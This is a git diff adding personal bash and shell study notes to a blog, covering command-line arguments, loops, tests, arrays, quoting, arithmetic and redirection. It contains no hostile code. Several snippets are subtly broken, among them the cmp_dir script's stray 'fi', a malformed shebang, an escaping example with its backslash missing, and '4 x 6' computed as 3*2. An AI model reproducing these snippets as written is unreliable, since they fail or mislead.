    " +} # end of drive_space + +home_space() +{ + # Only the superuser can get this information + + if [ "$(id -u)" = "0" ]; then + echo "

    Home directory space by user

    " + echo "
    "
    +        echo "Bytes Directory"
    +        du -s /home/* | sort -nr
    +        echo "
    " + fi +} # end of home_space + + +##### Main +cat <<- _EOF_ + + + $TITLE + + +

    $TITLE

    +

    $TIME_STAMP

    + $(system_info) + $(show_uptime) + $(drive_space) + $(home_space) + + +_EOF_ +``` + +more features I want to add: +- want to specify the name of the output file on the command line, as well as set a default output file name if no name is specified. +- want to offer an interactive mode that will prompt for a file name and warn the user if the file exists and prompt the user to overwrite it. + +Naturally, we want to have a help option that will display a usage message. +All of these features involve using command line options and arguments. +- To handle options on the command line, we use a facility in the shell called `positional parameters`: a series of special variables ($0 through $9) that contain the contents of the command line. + +Let's imagine the following command line: + +[me@linuxbox me]$ some_program word1 word2 word3 + +If some_program were a bash shell script, we could read each item on the command line because the positional parameters contain the following: + + $0 would contain "some_program" + $1 would contain "word1" + $2 would contain "word2" + $3 would contain "word3" + +Here is a script you can use to try this out: + + #!/bin/bash + + echo "Positional Parameters" + echo '$0 = ' $0 + echo '$1 = ' $1 + echo '$2 = ' $2 + echo '$3 = ' $3 + +## Detecting Command Line Arguments +Often, you will want to check to see if you have arguments on which to act. There are a couple of ways to do this. + +First, simply check to see if $1 contains anything like so: + + #!/bin/bash + + if [ "$1" != "" ]; then + echo "Positional parameter 1 contains something" + else + echo "Positional parameter 1 is empty" + fi + +Second, the shell maintains a variable called `$#` that contains the number of items on the command line in addition to the name of the command ($0). + + #!/bin/bash + + if [ $# -gt 0 ]; then + echo "Your command line contains $# arguments" + else + echo "Your command line contains no arguments" + fi + +## Command Line Options +construct a while loop relies on `shift`. +- `shift` is a `shell builtin 执行内建的函数;内键指令 ` that operates on the `positional parameters`. + - Each time you invoke `shift`, it "shifts" all the positional parameters down by one. + - $2 becomes $1, $3 becomes $2, $4 becomes $3, and so on. + - shift(shift 1) 命令每执行一次,变量的个数($#)减一(之前的$1变量被销毁,之后的$2就变成了$1),而变量值提前一位。 + +```py +1. +#!/bin/bash +# run.sh +echo "You start with $# positional parameters" +while [ "$1" != "" ]; do # Loop until all parameters are used up + echo "Parameter 1 equals $1" + echo "You now have $# positional parameters" + shift # Shift all the parameters down by one +done + +J:Desktop luo$ nano run.sh +J:Desktop luo$ chmod 755 run.sh +J:Desktop luo$ run.sh a b c + +You start with 3 positional parameters +Parameter 1 equals a +You now have 3 positional parameters +Parameter 1 equals b +You now have 2 positional parameters +Parameter 1 equals c +You now have 1 positional parameters +J:Desktop luo$ + +2. +# 示例: 依次读取输入的参数并打印参数个数: +#!/bin/bash +# run.sh +while [ "$#" != 0 ] ; do + + echo "第一个参数为:$1, 参数个数为:$#" + shift +done + +# 输入命令 +$ run.sh a b c d e f +# 结果: + +第一个参数为:a,参数个数为:6 +第一个参数为:b,参数个数为:5 +第一个参数为:c,参数个数为:4 +第一个参数为:d,参数个数为:3 +第一个参数为:e,参数个数为:2 +第一个参数为:f,参数个数为:1 +``` + + +many programs, particularly ones from the GNU Project, support both short and long command line options. +- For example: + - to display a help message for many of these programs, either the `-h` option or the longer `--help` option. +- Long option names are typically preceded by a double dash. + +Here is the code we will use to process our command line: + +```py +interactive= +filename=~/sysinfo_page.html + +while [ "$1" != "" ]; do + case $1 in + -f | --file ) shift + filename=$1 + ;; + -i | --interactive ) interactive=1 + ;; + -h | --help ) usage + exit + ;; + * ) usage + exit 1 + esac + shift +done +``` + +- The first two lines: + - set the variable `interactive` to be empty: indicate that the `interactive mode` has not been requested. + - set the variable `filename` to contain a default file name. If nothing else is specified on the command line, this file name will be used. + - After these two variables are set, we have default settings, in case the user does not specify any options. +- loop with `shift` +- Getting an Option's Argument + - "-f" option requires a valid file name as an argument. We use `shift` again to get the next item from the command line and assign it to filename. Later we will have to check the content of filename to make sure it is valid. + +## Integrating the Command Line Processor into the Script +We will have to move a few things around and add a usage function to get this new routine integrated into our script. We'll also add some test code to verify that the command line processor is working correctly. Our script now looks like this: + +```py +#!/bin/bash + +# sysinfo_page - A script to produce a system information HTML file + +##### Constants + +TITLE="System Information for $HOSTNAME" +RIGHT_NOW=$(date +"%x %r %Z") +TIME_STAMP="Updated on $RIGHT_NOW by $USER" + +##### Functions + +system_info() +{ + echo "

    System release info

    " + echo "

    Function not yet implemented

    " + +} # end of system_info + + +show_uptime() +{ + echo "

    System uptime

    " + echo "
    "
    +    uptime
    +    echo "
    " + +} # end of show_uptime + + +drive_space() +{ + echo "

    Filesystem space

    " + echo "
    "
    +    df
    +    echo "
    " + +} # end of drive_space + + +home_space() +{ + # Only the superuser can get this information + + if [ "$(id -u)" = "0" ]; then + echo "

    Home directory space by user

    " + echo "
    "
    +        echo "Bytes Directory"
    +        du -s /home/* | sort -nr
    +        echo "
    " + fi + +} # end of home_space + + +write_page() +{ + cat <<- _EOF_ + + + $TITLE + + +

    $TITLE

    +

    $TIME_STAMP

    + $(system_info) + $(show_uptime) + $(drive_space) + $(home_space) + + +_EOF_ + +} + +usage() +{ + echo "usage: sysinfo_page [[[-f file ] [-i]] | [-h]]" +} + + +##### Main + +interactive= +filename=~/sysinfo_page.html + +while [ "$1" != "" ]; do + case $1 in + -f | --file ) shift + filename=$1 + ;; + -i | --interactive ) interactive=1 + ;; + -h | --help ) usage + exit + ;; + * ) usage + exit 1 + esac + shift +done + + +# Test code to verify command line processing + +if [ "$interactive" = "1" ]; then + echo "interactive is on" +else + echo "interactive is off" +fi +echo "output file = $filename" + + +# Write page (comment out until testing is complete) + +# write_page > $filename +``` + +### Adding Interactive Mode +The `interactive mode` is implemented with the following code: + +```py +if [ "$interactive" = "1" ]; then + + response= + + echo -n "Enter name of output file [$filename] > " + read response + if [ -n "$response" ]; then + filename=$response + fi + + if [ -f $filename ]; then + echo -n "Output file exists. Overwrite? (y/n) > " + read response + if [ "$response" != "y" ]; then + echo "Exiting program." + exit 1 + fi + fi +fi +``` + +- First, we check if the interactive mode is on, otherwise we don't have anything to do. +- Next, we ask the user for the file name. Notice the way the prompt is worded: + - echo -n "Enter name of output file `[$filename] >` " +- We display the current value of filename since, the way this routine is coded + - if the user just presses the enter key, the default value of filename will be used. + - This is accomplished in the next two lines where the value of response is checked. + - If response is not empty, then `filename` is assigned the value of response. + - Otherwise, filename is left unchanged, preserving its default value. +- After we have the name of the output file, we check if it already exists. + - If it does, we prompt the user. + - If the user response is not "y," we give up and exit, otherwise we can proceed. + +--- + +# Flow Control + +## `for variable in words; do commands done` +the remaining `flow control` statement, `for`. +- Like while and until, for is used to construct loops. for works like this: + + for variable in words; do + commands + done + +- `for` assigns a `word` from the list of `words` to the specified `variable`, executes the commands, and repeats this over and over until all the words have been used up. + +``` +#!/bin/bash + +for i in word1 word2 word3; do + echo $i +done +``` + +- the variable `i` is assigned the string "word1", then the statement `echo $i` is executed, +- then the variable `i` is assigned the string "word2", and the statement `echo $i` is executed, +- and so on, until all the words in the list of words have been assigned. + +The interesting thing about for is the many ways you can construct the list of words. +- All kinds of expansions can be used. + +```py +#!/bin/bash +count=0 +for i in $(cat ~/.bash_profile); do + count=$((count + 1)) + echo "Word $count ($i) contains $(echo -n $i | wc -c) characters" +done +# take the file .bash_profile and count the number of words in the file and the number of characters in each word. +``` + +So what's this got to do with positional parameters? Well, one of the features of for is that it can use the positional parameters as the list of words: + +``` +#!/bin/bash + +for i in "$@"; do + echo $i +done +``` + +The shell variable `$@` contains the list of command line arguments. +- This technique is often used to process a `list of files` on the command line. + + +an example: + +```py +#!/bin/bash + +for filename in "$@"; do + result= + if [ -f "$filename" ]; then + result="$filename is a regular file" + elif [ -d "$filename" ]; then + result="$filename is a directory" + else + result="$filename is not a exist file or directory" + fi + +# else +# if [ -d "$filename" ]; then +# result="$filename is a directory" +# fi +# fi + + if [ -w "$filename" ]; then + result="$result and it is writable" + else + result="$result and it is not writable" + fi + echo "$result" +done + +# Try this script +$ try * +1 is a regular file and it is writable +2017.pdf is a regular file and it is writable + +$ try dy7 hryf +dy7 is not a exist file or directory and it is not writable +hryf is not a exist file or directory and it is not writable +``` + +another example script. +```py +This one compares the files in two directories and lists which files in the first directory are missing from the second. + +#!/bin/bashbash +# cmp_dir - program to compare two directories + +# Check for required arguments +#if [ $# -ne 2 ]; then + echo "usage: $0 directory_1 directory_2" 1>&2 + exit 1 +fi + +# Make sure both arguments are directories +if [ ! -d $1 ]; then + echo "$1 is not a directory!" 1>&2 + exit 1 +fi + +if [ ! -d $2 ]; then + echo "$2 is not a directory!" 1>&2 + exit 1 +fi + +# Process each file in directory_1, comparing it to directory_2 +missing=0 +for filename in $1/*; do + fn=$(basename "$filename") + if [ -f "$filename" ]; then + if [ ! -f "$2/$fn" ]; then + echo "$fn is missing from $2" + missing=$((missing + 1)) + fi + fi +done +echo "$missing files missing" +``` + +to improve the home_space function in our script to output more information. +```py +home_space() +{ + # Only the superuser can get this information + + if [ "$(id -u)" = "0" ]; then + echo "

    Home directory space by user

    " + echo "
    "
    +    echo "Bytes Directory"
    +        du -s /home/* | sort -nr
    +    echo "
    " + fi + +} # end of home_space +``` + +Here is the new version: + +```py +home_space() +{ + echo "

    Home directory space by user

    " + echo "
    "
    +    format="%8s%10s%10s   %-s\n"
    +    printf "$format" "Dirs" "Files" "Blocks" "Directory"
    +    printf "$format" "----" "-----" "------" "---------"
    +    if [ $(id -u) = "0" ]; then
    +        dir_list="/home/*"
    +    else
    +        dir_list=$HOME
    +    fi
    +    for home_dir in $dir_list; do
    +        total_dirs=$(find $home_dir -type d | wc -l)
    +        total_files=$(find $home_dir -type f | wc -l)
    +        total_blocks=$(du -s $home_dir)
    +        printf "$format" $total_dirs $total_files $total_blocks
    +    done
    +    echo "
    " +} # end of home_space +``` + +- `printf`: to produce formatted output according to the contents of a format string. printf comes from the C programming language and has been implemented in many other programming languages including C++, Perl, awk, java, PHP, and of course, bash. +- `find`: to search for files or directories that meet specific criteria. In the home_space function, we use find to list the directories and regular files in each home directory. +- `wc`: count the number of files and directories found. + +deal with the problem of superuser access. +- test for the superuser with id +- according to the outcome of the test, assign different strings to the `variable dir_list`, the list of words for the for loop. +- This way, if an ordinary user runs the script, only his/her home directory will be listed. + + +Another function that can use a for loop is our unfinished system_info function. We can build it like this: +```py +system_info() +{ + # Find any release files in /etc + if ls /etc/*release 1>/dev/null 2>&1; then + echo "

    System release info

    " + echo "
    "
    +        for i in /etc/*release; do
    +            # Since we can't be sure of the length of the file,
    +            # only display the first line.
    +            head -n 1 $i
    +        done
    +        uname -orp
    +        echo "
    " + fi +} # end of system_info +``` + +- first determine if there are any `release files` to process. + - The `release files` contain the name of the vendor and the version of the distribution. + - They are located in the `/etc directory.` + - To detect them, perform `ls` command and throw away all of its output. + - in the exit status. It will be `true` if any files are found. +- Next, we output the HTML for this section of the page, since we now know that there are release files to process. + - To process the files, we start a `for` loop to act on each one. + - Inside the loop, we use the `head` command to return the first line of each file. +- Finally, we use the `uname` command with the `o`, `r`, and `p` options to obtain some additional information from the system. + + + +https://linuxcommand.org/lc3_wss0140.php + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/system/2020-09-25-bash.md b/_posts/00CodeNote/language/system/2020-09-25-bash.md new file mode 100644 index 00000000000..c2bdeac6613 --- /dev/null +++ b/_posts/00CodeNote/language/system/2020-09-25-bash.md @@ -0,0 +1,961 @@ +--- +title: Bash Note +# author: Grace JyL +date: 2020-09-25 11:11:11 -0400 +description: +excerpt_separator: +categories: [00CodeNote] +tags: [Script, Bash] +math: true +# pin: true +toc: true +# image: /assets/img/note/tls-ssl-handshake.png +--- + +[toc] + +--- + +# bash Note + +--- + +```bash +Number of elements: ${#ARRAY[@]} +echo ${ARRAY[@]} + +stdin +# standard input. It takes text as input. +stdout +# standard output. The text output of a command is stored in the stdout stream. +stderr +# standard error. Whenever a command faces an error, the error message is stored in this stream. + +``` + +--- + +## Hello World Bash Shell Script + +```bash +--- check bash interpreter location +$ which bash +/bin/bash + +--- create file called hello_world.sh. +#!/bin/bash +# declare STRING variable +STRING="Hello World" +#print variable on a screen +echo $STRING + + +--- make the file executable: +$ chmod +x hello_world.sh +$ ./hello_world.sh +``` + +--- + +## Simple Backup bash shell script + +```bash +#!/bin/bash +tar -czf myhome_directory.tar.gz /home/linuxconfig + +--- make the file executable: +$ ./backup.sh +tar: Removing leading '/' from member names + +$ ls myhome_directory.tar.gz +myhome_directory.tar.gz +``` +--- + +## Variables + +1. declare simple bash variable and print it on the screen (stdout) with echo command. + +```bash +--- create file called hello_world.sh. +#!/bin/bash +STRING="HELLO WORLD!!!" +echo $STRING + +--- make the file executable: +$ ./hello_world.sh +``` + +2. Bash backup Script with bash Variables + +```bash +--- backup script: +#!/bin/bash +OF=myhome_directory_$(date +%Y%m%d).tar.gz +tar -czf $OF /home/linuxconfig +``` + +### Global vs. Local variables + +```bash +#!/bin/bash + +#Define bash global variable +#global variable can be used anywhere in this bash script +VAR="global variable" +function bash { + #Define bash local variable + #This variable is local to bash function only + local VAR="local variable" + echo $VAR +} +echo $VAR +bash +echo $VAR + + +--- make the file executable: +$ ./variable.sh +# global variable +# local variable +# global variable +``` + +--- + +## Passing arguments to the bash script + +```bash +#!/bin/bash +# 1. +# use predefined variables to access passed arguments +# echo arguments to the shell +echo $1 $2 $3 ' -> echo $1 $2 $3' + +# 2. +# store arguments from bash command line in special array +args=("$@") +echo ${args[0]} ${args[1]} ${args[2]} ' -> args=("$@"); echo ${args[0]} ${args[1]} ${args[2]}' + +# 3. +# use $@ to print out all arguments at once +echo $@ ' -> echo $@' + +# 4. +# use $# variable to print out +# number of arguments passed to the bash script +echo Number of arguments passed: $# ' -> echo Number of arguments passed: $#' + + +--- make the file executable: +$ ./arguments.sh Bash Scripting Tutorial +# Bash Scripting Tutorial -> echo $1 $2 $3 +# Bash Scripting Tutorial -> args=("$@"); echo ${args[0]} ${args[1]} ${args[2]} +# Bash Scripting Tutorial -> echo $@ +# Number of arguments passed: 3 -> echo Number of arguments passed: $# +``` + +--- + +## Executing shell commands with bash + +```bash +#!/bin/bash +# use backticks " ` ` " to execute shell command +echo `uname -o` +# executing bash command without backticks, just print out +echo uname -o + +--- make the file executable: +$ ./test.sh +# $ uname -o +# GNU/Linux +# uname -o +``` + +--- + +## Reading User Input + +```bash +#!/bin/bash +echo -e "Hi, please type the word: \c " +read word # user input +echo "The word you entered is: $word" + +echo -e "Can you please enter two words? " +read word1 word2 +echo "Here is your input: \" $word1 \" \" $word2 \" " + +echo -e "How do you feel about bash scripting? " +# read command now stores a reply into the default built-in variable $REPLY +read +echo "You said $REPLY, I'm glad to hear that! " + +echo -e "What are your favorite colours ? " +# -a makes read command to read into an array +read -a colours +echo "My favorite colours are also ${colours[0]}, ${colours[1]} and ${colours[2]}:-)" +``` + +--- + +## Bash Trap Command + +```bash +#!/bin/bash +# bash trap command +trap bashtrap INT +# bash clear screen command, clear and then run +clear; + +# bash trap function is executed when CTRL-C is pressed: +# bash prints message => Executing bash trap subrutine ! +bashtrap(){ + echo "CTRL+C Detected !...executing bash trap !" +} + +# for loop from 1/10 to 10/10 +for a in `seq 1 10`; do + echo "$a/10 to Exit." + sleep 1; +done + +echo "Exit Bash Trap Example!!!" +``` + +--- + +## Arrays + +1. Declare simple bash array + +```bash +#!/bin/bash +# Declare array with 4 elements +ARRAY=( 'Debian Linux' 'Redhat Linux' Ubuntu Linux ) +# get number of elements in the array +ELEMENTS=${#ARRAY[@]} + +# echo each element in array +# for loop +for (( i=0; i<$ELEMENTS; i++)); do + echo ${ARRAY[${i}]} +done +``` + +2. Read file into bash array + +```bash +#!/bin/bash +# Declare array +declare -a ARRAY + +# Link filedescriptor 10 with stdin +exec 10<&0 +# stdin replaced with a file supplied as a first argument +exec < $1 + +let count=0 + +while read LINE; do + ARRAY[$count]=$LINE + ((count++)) +done + +echo Number of elements: ${#ARRAY[@]} +# echo array's content +echo ${ARRAY[@]} + +# restore stdin from filedescriptor 10 +# and close filedescriptor 10 +exec 0<&10 10<&- +``` + +3. Bash script execution with an output: + +```bash +linuxconfig.org $ cat bash.txt +Bash +Scripting +Tutorial +Guide + +linuxconfig.org $ ./bash-script.sh bash.txt +Number of elements: 4 +Bash Scripting Tutorial Guide +``` + +--- + +## Bash if / else / fi statements +Simple Bash if/else statement + +```bash +# note the spacing inside the [ and ] brackets! +# Without the spaces, it won't work! + +#!/bin/bash +directory="./BashScripting" + +# bash check if directory exists +if [ -d $directory ]; then + echo "Directory exists" +else + echo "Directory does not exists" +fi + + +--- make the file executable: +$ ./if.sh +# Directory does not exists +$ mkdir BashScripting +$ ./if.sh +# Directory exists +``` + +### Nested if/else + +```bash +#!/bin/bash + +# Declare variable choice and assign value 4 +choice=4 +# Print to stdout +echo "1. Bash" +echo "2. Scripting" +echo "3. Tutorial" +echo -n "Please choose a word [1,2 or 3]? " +# Loop while the variable choice is equal 4 +# bash while loop +while [ $choice -eq 4 ]; do + +# read user input +read choice +# bash nested if/else +if [ $choice -eq 1 ] ; then + echo "You have chosen word: Bash" +else + if [ $choice -eq 2 ] ; then + echo "You have chosen word: Scripting" + else + if [ $choice -eq 3 ] ; then + echo "You have chosen word: Tutorial" + else + echo "Please make a choice between 1-3 !" + echo "1. Bash" + echo "2. Scripting" + echo "3. Tutorial" + echo -n "Please choose a word [1,2 or 3]? " + choice=4 + fi + fi +fi +done +``` + +--- + +# Bash Comparisons + +## Arithmetic Comparisons + +| . | . | +| --- | --- | +| -lt | < | +| -gt | > | +| -le | <= | +| -ge | >= | +| -eq | == | +| -ne | != | + +```bash +#!/bin/bash +# declare integers +NUM1=2 +NUM2=2 +if [ $NUM1 -eq $NUM2 ]; then + echo "Both Values are equal" +elif [ $NUM1 -gt $NUM2 ]; then + echo "NUM1 is greater then NUM2" +else + echo "NUM2 is greater then NUM1" +fi +``` + +--- + +## String Comparisons + +| . | . | +| ----- | ---------------------- | +| = | equal | +| != | not equal | +| < | less then | +| > | greater then | +| -n s1 | string s1 is not empty | +| -z s1 | string s1 is empty | + + +```bash +#!/bin/bash +#Declare string S1 +S1="Bash" +#Declare string S2 +S2="Scripting" + +if [ $S1 = $S2 ]; then + echo "Both Strings are equal" +else + echo "Strings are NOT equal" +fi +``` + +--- + +## Bash File Testing + +| . | . | +| ---------------- | ---------------------------------------------------------- | +| -b filename | Block special file | +| -c filename | Special character file | +| -d directoryname | Check for directory `existence` | +| -e filename | Check for file `existence` | +| -f filename | Check for regular file existence not a directory | +| -G filename | Check if file exists and is owned by effective group ID. | +| -g filename | true if file exists and is set-group-id. | +| -k filename | Sticky bit | +| -L filename | Symbolic link | +| -O filename | True if file exists and is owned by the effective user id. | +| -r filename | Check if file is a readable | +| -S filename | Check if file is socket | +| -s filename | Check if file is nonzero size | +| -u filename | Check if file set-ser-id bit is set | +| -w filename | Check if file is writable | +| -x filename | Check if file is executable | + +```bash +#!/bin/bash +file="./file" + +if [ -e $file ]; then + echo "File exists" +else + echo "File does not exists" +fi +``` + +Similarly for example we can use while loop to check if file does not exists. This script will sleep until file does exists. Note bash negator "!" which negates the -e option. + +```bash +#!/bin/bash + +while [ ! -e myfile ]; do +# Sleep until file does exists/is created +sleep 1 +done +``` + +--- + +# Loops + +## Bash `for loop` + + +1. echo every file name under `/var/` +```bash +#!/bin/bash +# bash for loop +for f in $( ls /var/ ); do + echo $f +done +``` + +2. Run `for loop` from bash shell command line: + + +```bash +$ for f in $( ls /var/ ); do echo $f; done +``` + +--- + +### Bash `while loop` + +```bash +#!/bin/bash +COUNT=6 +# bash while loop +while [ $COUNT -gt 0 ]; do + echo Value of count is: $COUNT + let COUNT=COUNT-1 +done +``` + +--- + +### Bash `until loop` + +```bash +#!/bin/bash +COUNT=0 +# bash until loop +until [ $COUNT -gt 5 ]; do + echo Value of count is: $COUNT + let COUNT=COUNT+1 +done +``` + +--- + +### Control bash loop with + +Here is a example of `while loop` controlled by standard input. + +Until the redirection chain from `STDOUT` to `STDIN` to the `read` command exists the `while loop` continues. + +```bash +#!/bin/bash +# This bash script will locate and replace spaces in the filenames +DIR="." +# Controlling a loop with bash read command by redirecting STDOUT as a STDIN to while loop +# find will not truncate filenames containing spaces +find $DIR -type f | while read file; do +# using POSIX class [:space:] to find space in the filename +if [[ "$file" = *[[:space:]]* ]]; then +# substitute space with "_" character and consequently rename the file +mv "$file" `echo $file | tr ' ' '_'` +fi; +# end of while loop +done +Bash script to replace spaces in the filenames with _ +``` + +--- + +# Bash `Functions` + +```bash +!/bin/bash +# BASH FUNCTIONS CAN BE DECLARED IN ANY ORDER +function function_B { + echo Function B. +} +function function_A { + echo $1 +} +function function_D { + echo Function D. +} +function function_C { + echo $1 +} +# FUNCTION CALLS +# Pass parameter to function A +function_A "Function A." +function_B +# Pass parameter to function C +function_C "Function C." +function_D +``` + +--- + +# Bash `Select` + +```bash +#!/bin/bash +PS3='Choose one word: ' + +# bash select +select word in "linux" "bash" "scripting" "tutorial" +do + echo "The word you have selected is: $word" +# Break, otherwise endless loop + break +done + +exit 0 +``` + +--- + +# Case statement conditional + +```bash +#!/bin/bash +echo "What is your preferred programming / scripting language" +echo "1) bash" +echo "2) perl" +echo "3) python" +echo "4) c++" +echo "5) I do not know !" +read case; +#simple case bash structure +# note in this case $case is variable and does not have to +# be named case this is just an example +case $case in + 1) echo "You selected bash";; + 2) echo "You selected perl";; + 3) echo "You selected python";; + 4) echo "You selected c++";; + 5) exit +esac +``` + +--- + +# Bash quotes and quotations + +Quotations and quotes are important part of bash and bash scripting. Here are some bash quotes and quotations basics. + +--- + +## Escaping Meta characters +Before we start with quotes and quotations we should know something about escaping meta characters. Escaping will suppress a special meaning of meta characters and therefore meta characters will be read by bash literally. To do this we need to use backslash `"\"` character. Example: + +```bash +#!/bin/bash + +#Declare bash string variable +BASH_VAR="Bash Script" + +# echo variable BASH_VAR +echo $BASH_VAR + +#when meta character such us "$" is escaped with "\" it will be read literally +echo $BASH_VAR + +# backslash has also special meaning and it can be suppressed with yet another "\" +echo "\" +``` + +--- + +## Single quotes + +Single quotes in bash will suppress special meaning of every meta characters. Therefore meta characters will be read literally. It is not possible to use another single quote within two single quotes not even if the single quote is escaped by backslash. + +```bash +#!/bin/bash +#Declare bash string variable +BASH_VAR="Bash Script" + +# echo variable BASH_VAR +echo $BASH_VAR + +# meta characters special meaning in bash is suppressed when using single quotes +echo '$BASH_VAR "$BASH_VAR"' +``` + +--- + +## Double Quotes + +Double quotes in bash will suppress special meaning of every meta characters except "$", "\" and "`". Any other meta characters will be read literally. It is also possible to use single quote within double quotes. If we need to use double quotes within double quotes bash can read them literally when escaping them with "\". Example: + +```bash +#!/bin/bash + +#Declare bash string variable +BASH_VAR="Bash Script" + +# echo variable BASH_VAR +echo $BASH_VAR + +# meta characters and its special meaning in bash is +# suppressed when using double quotes except "$", "\" and "`" +echo "It's $BASH_VAR and \"$BASH_VAR\" using backticks: `date`" +``` + +--- + +## Bash quoting with ANSI-C style + +There is also another type of quoting and that is ANSI-C. In this type of quoting characters escaped with "\" will gain special meaning according to the ANSI-C standard. + +| ANSI-C | . | +| ------ | --------------------------------------------------------------------------------- | +| \a | alert (bell) | +| \b | backspace | +| \e | an escape character | +| \f | form feed | +| \n | newline | +| \r | carriage return | +| \t | horizontal tab | +| \v | vertical tab | +| \\ | backslash | +| \` | single quote | +| \nnn | octal value of characters ( see [https://www.asciitable.com/ ASCII table] ) | +| \xnn | hexadecimal value of characters ( see [https://www.asciitable.com/ ASCII table] ) | + + +The syntax fo ansi-c bash quoting is: $'' . Here is an example: + +```bash +#!/bin/bash +# used \n as a new line, \x40 is hex value for @ and is octal value for . +echo $'web: www.linuxconfig.org\nemail: web\x40linuxconfigorg' +# web: www.linuxconfig.org +# email: web@linuxconfigorg +``` + +--- + +# Arithmetic Operations + +--- + +## Bash Addition Calculator Example + +```bash +#!/bin/bash + +let RESULT1=$1+$2 + +echo $1+$2=$RESULT1 ' -> # let RESULT1=$1+$2' + +declare -i RESULT2 +RESULT2=$1+$2 + +echo $1+$2=$RESULT2 ' -> # declare -i RESULT2; RESULT2=$1+$2' +echo $1+$2=$(($1 + $2)) ' -> # $(($1 + $2))' + + +--- make the file executable: +$ ./calc.sh 88 12 +88+12=100 -> # let RESULT1=$1+$2 +88+12=100 -> # declare -i RESULT2; RESULT2=$1+$2 +88+12=100 -> # $(($1 + $2)) + +``` + +--- + +## Bash Arithmetic + +```bash +#!/bin/bash + +echo '### let ###' +# bash addition +let ADDITION=3+5 +echo "3 + 5 =" $ADDITION + +# bash subtraction +let SUBTRACTION=7-8 +echo "7 - 8 =" $SUBTRACTION + +# bash multiplication +let MULTIPLICATION=5*8 +echo "5 * 8 =" $MULTIPLICATION + +# bash division +let DIVISION=4/2 +echo "4 / 2 =" $DIVISION + +# bash modulus +let MODULUS=9%4 +echo "9 % 4 =" $MODULUS + +# bash power of two +let POWEROFTWO=2**2 +echo "2 ^ 2 =" $POWEROFTWO + +echo '### Bash Arithmetic Expansion ###' +# There are two formats for arithmetic expansion: $[ expression ] +# and $(( expression #)) its your choice which you use + +echo 4 + 5 = $((4 + 5)) +echo 7 - 7 = $[ 7 - 7 ] +echo 4 x 6 = $((3 * 2)) +echo 6 / 3 = $((6 / 3)) +echo 8 % 7 = $((8 % 7)) +echo 2 ^ 8 = $[ 2 ** 8 ] + + +echo '### Declare ###' +echo -e "Please enter two numbers \c" +# read user input +read num1 num2 +declare -i result +result=$num1+$num2 +echo "Result is:$result " + +# bash convert binary number 10001 +result=2#10001 +echo $result + +# bash convert octal number 16 +result=8#16 +echo $result + +# bash convert hex number 0xE6A +result=16#E6A +echo $result +``` + +--- + +## Round floating point number + +`%.0f $floating_point_number` + +```bash +#!/bin/bash +# get floating point number +floating_point_number=3.3446 +echo $floating_point_number +# round floating point number with bash +for bash_rounded_number in $(printf %.0f $floating_point_number); do +echo "Rounded number with bash:" $bash_rounded_number +done +``` + +--- + +## Bash floating point calculations + +```bash +#!/bin/bash +# Simple linux bash calculator +echo "Enter input:" +read userinput +echo "Result with 2 digits after decimal point:" +echo "scale=2; ${userinput}" | bc +echo "Result with 10 digits after decimal point:" +echo "scale=10; ${userinput}" | bc +echo "Result as rounded integer:" +echo $userinput | bc +Bash floating point calculations +``` + +--- + +# Redirections + +--- + +## `STDOUT` from bash script to `STDERR` + +```BASH +#!/bin/bash +echo "Redirect this STDOUT to STDERR" 1>&2 +# To prove that STDOUT is redirected to STDERR we can redirect script's output to file: +``` + +--- + +## `STDERR` from bash script to `STDOUT` + +``` +#!/bin/bash +cat $1 2>&1 +To prove that STDERR is redirected to STDOUT we can redirect script's output to file: +``` + +--- + +## `stdout` to screen +The simple way to redirect a standard output ( stdout ) is to simply use any command, because by default stdout is automatically redirected to screen. First create a file "file1": + +```bash +# $ touch file1 +$ ls file1 +file1 +``` +As you can see from the example above execution of ls command produces STDOUT which by default is redirected to screen. + +--- + +## `stdout` to file +The override the default behavior of STDOUT we can use ">" to redirect this output to file: + +```bash +$ ls file1 > STDOUT +# $ cat STDOUT +# file1 +``` + +--- + +## `stderr` to file +By default STDERR is displayed on the screen: + +```bash +$ ls +file1 STDOUT +$ ls file2 +ls: cannot access file2: No such file or directory + +redirect the standard error ( stderr ) to a file and stdout to a screen as default. +STDOUT is displayed on the screen, however STDERR is redirected to a file called STDERR: + +$ ls file1 file2 2> STDERR +file1 +$ cat STDERR +ls: cannot access file2: No such file or directory +``` + +--- + +## `stdout` to `stderr` +It is also possible to redirect STDOUT and STDERR to the same file. In the next example we will redirect STDOUT to the same descriptor as STDERR. Both STDOUT and STDERR will be redirected to file "STDERR_STDOUT". + +```bash +$ ls +file1 STDERR STDOUT + +$ ls file1 file2 2> STDERR_STDOUT 1>&2 + +$ cat STDERR_STDOUT +ls: cannot access file2: No such file or directory +file1 +# File STDERR_STDOUT now contains STDOUT and STDERR. +``` + +--- + +## `stderr` to `stdout` + +redirecting STDERR to the same descriptor as SDTOUT: + +```bash +$ ls +file1 STDERR STDOUT + +$ ls file1 file2 > STDERR_STDOUT 2>&1 + +$ cat STDERR_STDOUT +ls: cannot access file2: No such file or directory +file1 +``` + +--- + +## `stderr` and `stdout` to file +Previous two examples redirected both STDOUT and STDERR to a file. +Another way to achieve the same effect is illustrated below: + +```bash +$ ls +file1 STDERR STDOUT + +$ ls file1 file2 &> STDERR_STDOUT +$ ls file1 file2 >& STDERR_STDOUT + +$ cat STDERR_STDOUT +# ls: cannot access file2: No such file or directory +# file1 +``` + + +--- + +ref: +- [bash-scripting-tutorial](https://linuxconfig.org/bash-scripting-tutorial) +- [stdin, stderr and stdout](https://linuxhint.com/bash_stdin_stderr_stdout/) +- [exec](https://www.computerhope.com/unix/bash/exec.htm#:~:text=On%20Unix%2Dlike%20operating%20systems,by%20the%20command%20you%20specify.) +- [bash](https://www.computerhope.com/unix/ubash.htm#opening-file-descriptors) +- [Stderr Stdout and Stdin - How to Redirect them - Commands for Linux](https://www.youtube.com/watch?v=icuV2CR3Ghg) diff --git a/_posts/00CodeNote/language/system/2020-09-25-shell.md b/_posts/00CodeNote/language/system/2020-09-25-shell.md new file mode 100644 index 00000000000..c430b903305 --- /dev/null +++ b/_posts/00CodeNote/language/system/2020-09-25-shell.md @@ -0,0 +1,391 @@ +--- +title: SHELL Note +# author: Grace JyL +date: 2020-09-25 11:11:11 -0400 +description: +excerpt_separator: +categories: [00CodeNote] +tags: [Script, shell] +math: true +# pin: true +toc: true +# image: /assets/img/note/tls-ssl-handshake.png +--- + +[toc] + +--- + +# Shell grammar + +## Simple Commands + +A simple command is an optional sequence of variable assignments followed by blank-separated words and redirections, and terminated by a control operator. +- The first word specifies the command to be executed, and is passed as argument zero. +- The remaining words are passed as arguments to the invoked command. +- The return value of a simple command 